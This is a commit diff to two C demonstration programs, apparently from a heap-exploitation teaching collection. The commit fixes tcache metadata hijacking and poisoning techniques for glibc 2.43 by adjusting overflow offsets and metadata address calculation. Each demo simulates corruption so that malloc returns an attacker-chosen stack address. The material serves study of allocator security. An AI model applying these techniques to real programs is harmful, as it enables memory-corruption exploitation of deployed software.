fix tcache_metadata related techs

Author: Kyle-Kyle

glibc_2.43/tcache_metadata_hijacking.c

@@ -1,6 +1,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <assert.h>
+#include <unistd.h>
 
 int main()
 {
@@ -29,9 +30,11 @@ int main()
 
 	printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n");
 	/*Vulnerability*/
-	chunk[0x420/8+21] = (long)&target[0];
+	chunk[0x420/8+25] = (long)&target[0];
 	/*Vulnerability*/
 
+	char c; read(0, &c, 1);
+
 	void *p2 = malloc(0x10);
 	printf("Then the next allocation will be at our wanted address: %p\n", p2);
 	assert(p2 == &target[0]);

glibc_2.43/tcache_metadata_poisoning.c

@@ -2,6 +2,7 @@
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
+#include <unistd.h>
 
 // Tcache metadata poisoning attack
 // ================================
@@ -35,23 +36,25 @@ int main() {
        "metadata chunk.");
   uint64_t *victim = malloc(0x10);
   printf("Victim chunk is at: %p.\n\n", victim);
+  puts("Now freeing it will lead to the allocation of the metadata on heap");
+  free(victim);
 
-  long metadata_size = sizeof(struct tcache_metadata);
-  long rounded_metadata_size = metadata_size & ~(HEADER_SIZE-1); // round it down
   printf("Next we have to calculate the base address of the metadata struct.\n"
          "The metadata struct itself is %#lx bytes in size. Additionally we\n"
          "have to subtract the header of the victim chunk (so an extra 0x10\n"
          "bytes).\n",
          sizeof(struct tcache_metadata));
   struct tcache_metadata *metadata =
-      (struct tcache_metadata *)((long)victim - rounded_metadata_size - HEADER_SIZE);
+      (struct tcache_metadata *)((long)victim + 2*HEADER_SIZE);
   printf("The tcache metadata is located at %p.\n\n", metadata);
 
   puts("Now we manipulate the metadata struct and insert the target address\n"
        "in a chunk. Here we choose the second tcache bin.\n");
   metadata->counts[1] = 6;
   metadata->entries[1] = &stack_target;
 
+  char c; read(0, &c, 1);
+
   uint64_t *evil = malloc(0x20);
   printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
          "second tcache bin. The returned pointer is %p.\n",